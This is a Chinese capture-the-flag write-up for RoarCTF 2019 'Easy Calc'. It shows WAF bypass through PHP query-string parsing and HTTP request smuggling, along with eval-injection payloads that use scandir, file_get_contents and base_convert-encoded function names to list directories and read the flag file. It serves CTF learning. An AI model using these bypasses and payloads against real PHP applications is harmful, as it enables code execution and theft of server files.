首页 > Web开发 > 详细

[原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

时间:2020-03-11 12:52:58      阅读:300      评论:0      收藏:0      [点我收藏+]

 简介

 原题复现:

 考察知识点:http协议走私、php字符串解析漏洞

 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题

 过程

一枚菜狗打开页面  懵逼一个小时然后   搜索WP。。。。。

技术分享图片

查看源码发现

技术分享图片

利用php字符串解析漏洞

计算的时候会访问calc.php页面  访问它获得源码  审计发现有个过滤  过滤完执行eval()

技术分享图片

 

所以可以构造

http://node3.buuoj.cn:28719/calc.php?num=phpinfo()  出错 被waf挡住了

http://node3.buuoj.cn:28719/calc.php?%20num=phpinfo() 利用php字符串解析特性在变量前面加上空格即可绕过   绕过姿势文章:https://www.freebuf.com/column/207936.html

 继续构造

http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(scandir(chr(47)))

技术分享图片

http://node3.buuoj.cn:28719/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

技术分享图片

 

HTTP走私绕过WAF

http协议走私基础:https://www.cnblogs.com/xhds/p/12339994.html

CL-CL

两个CL直接导致前端转发的服务器400,而且完整转发了post包给后端。

技术分享图片

 CL-TE

CL和TE直接导致前端转发的服务器400,而且完整转发了post包给后端。

 技术分享图片

 构造payload获得Flag
使用scandir()函数readfile()函数base_convert()函数dechex() 函数hex2bin() 函数chr()函数
36进制scandir->10进制61693386291
36进制readfile->10进制2146934604002
ascii码/->16进制2f->10进制47
36进制f1agg->10进制25254448(读取根目录得到的)


var_dump(base_convert(61693386291,10,36)(chr(47)))

 

技术分享图片

 读取flag

var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36)))

 

 技术分享图片

 参考学习:https://xz.aliyun.com/t/6654

 

[原题复现+审计][RoarCTF 2019]Easy Calc(http协议走私、php字符串解析漏洞)

原文:https://www.cnblogs.com/xhds/p/12460958.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!